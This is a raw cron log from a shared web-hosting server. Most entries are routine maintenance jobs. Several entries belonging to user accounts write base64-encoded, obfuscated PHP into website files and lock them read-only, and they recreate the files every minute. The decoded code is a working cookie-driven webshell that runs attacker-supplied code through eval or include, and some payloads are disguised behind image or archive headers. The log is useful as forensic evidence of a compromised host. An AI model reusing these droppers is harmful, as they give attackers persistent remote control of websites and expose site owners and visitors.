Jun  7 14:18:01 medusa CROND[22972]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:18:01 medusa CROND[22973]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:18:01 medusa CROND[22974]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:18:01 medusa CROND[22983]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:18:01 medusa CROND[22984]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Jun  7 14:18:01 medusa CROND[22986]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:19:01 medusa CROND[24707]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 14:19:01 medusa CROND[24715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:19:01 medusa CROND[24724]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:19:01 medusa CROND[24725]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:19:01 medusa CROND[24726]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:19:01 medusa CROND[24727]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:19:01 medusa CROND[24728]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:19:01 medusa CROND[24729]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:19:01 medusa CROND[24733]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:19:01 medusa CROND[24732]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:19:01 medusa CROND[24740]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:19:01 medusa CROND[24741]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:20:01 medusa CROND[26628]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 14:20:01 medusa CROND[26633]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 14:20:02 medusa CROND[26637]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 14:20:02 medusa CROND[26647]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 14:20:02 medusa CROND[26648]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 14:20:02 medusa CROND[26649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:20:02 medusa CROND[26650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 14:20:02 medusa CROND[26652]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 14:20:02 medusa CROND[26653]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 14:20:02 medusa CROND[26657]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 14:20:02 medusa CROND[26660]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 14:20:02 medusa CROND[26661]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:20:02 medusa CROND[26664]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:20:02 medusa CROND[26669]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
